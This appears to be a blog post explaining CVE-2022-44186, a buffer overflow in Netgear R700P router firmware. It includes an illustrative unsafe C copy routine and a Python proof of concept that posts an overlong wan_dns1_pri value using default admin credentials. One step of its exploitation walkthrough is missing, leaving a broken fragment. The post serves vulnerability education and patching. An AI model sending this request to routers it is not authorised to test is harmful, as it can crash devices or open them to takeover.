Netgear routers are popular for their reliability, but every now and then a dangerous bug surfaces. In this post, we'll break down CVE-2022-44186, a buffer overflow found in Netgear R700P routers running firmware v1.3.1.64. We'll walk through what it is, how it works, some simple code to show the issue, and what it would look like for someone to exploit it.

What Is CVE-2022-44186?

CVE-2022-44186 is a buffer overflow vulnerability found in the Netgear R700P router’s web server binary /usr/sbin/httpd. It is triggered when an attacker sends an overlong parameter (specifically, wan_dns1_pri) to certain pages in the router's web interface.

This bug could let a remote attacker run code with root privileges under certain conditions, which is very dangerous.

Official References

- MITRE CVE Database - CVE-2022-44186
- GitHub Advisory - CVE-2022-44186
- Exploit-db Report *(if/once available)*

The Root Cause

The router’s web interface (running as /usr/sbin/httpd) takes HTTP POST parameters and passes them straight to C code. If the parameter wan_dns1_pri is too long, it will "overflow" the space reserved in memory—possibly letting the attacker take control.

Buffer overflows happen when the software doesn’t check how big the input is before copying it to a fixed-size area in memory.

Here’s what buggy code could look like

void handle_dns1_pri(char *wan_dns1_pri) {
    char buffer[64]; // Only get 64 bytes.
    strcpy(buffer, wan_dns1_pri); // Danger: no length check!
    // Now do something with buffer...
}

If you send more than 64 bytes as the value for wan_dns1_pri, buffer overflows and the memory after it is overwritten.

How Can an Attacker Exploit This?

Attackers can craft an HTTP POST request targeting the router’s admin interface, sending a *very long* string for the wan_dns1_pri parameter.

Points it to attacker-controlled code (payload—usually shellcode).

If the attacker knows the router's firmware and memory layout, they can achieve remote code execution.

Simple Exploit Demonstration

Below is a simple *proof-of-concept* (for educational purposes!) that sends a super-long wan_dns1_pri value to the web server.

import requests

url = "http://<router_ip>/cgi-bin/NETGEAR_set.cgi";  # Typical for Netgear config

overflow = "A" * 512  # More than plenty to overflow the buffer

data = {
    "wan_dns1_pri": overflow,
    "wan_proto": "dhcp", # other required params
}

# Authentication needed - default is admin/password
auth = ("admin", "password")

response = requests.post(url, data=data, auth=auth)

print("Returned status:", response.status_code)
print("Response body:", response.text)


> Replace <router_ip> with your router’s IP, e.g. 192.168.1.1

If the router is vulnerable, this code may crash it (Denial-of-Service) or worse, depending on skill and conditions.

Responsible Use & Patch Status

This bug impacts R700P routers with firmware v1.3.1.64. If you have this router, download and install the latest firmware from Netgear’s support page immediately.

Never try this on hardware you don’t own or have permission to test.

Key Takeaways

- CVE-2022-44186 is a dangerous buffer overflow in Netgear R700P’s web server (/usr/sbin/httpd) via wan_dns1_pri.

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 19:08:00 UTC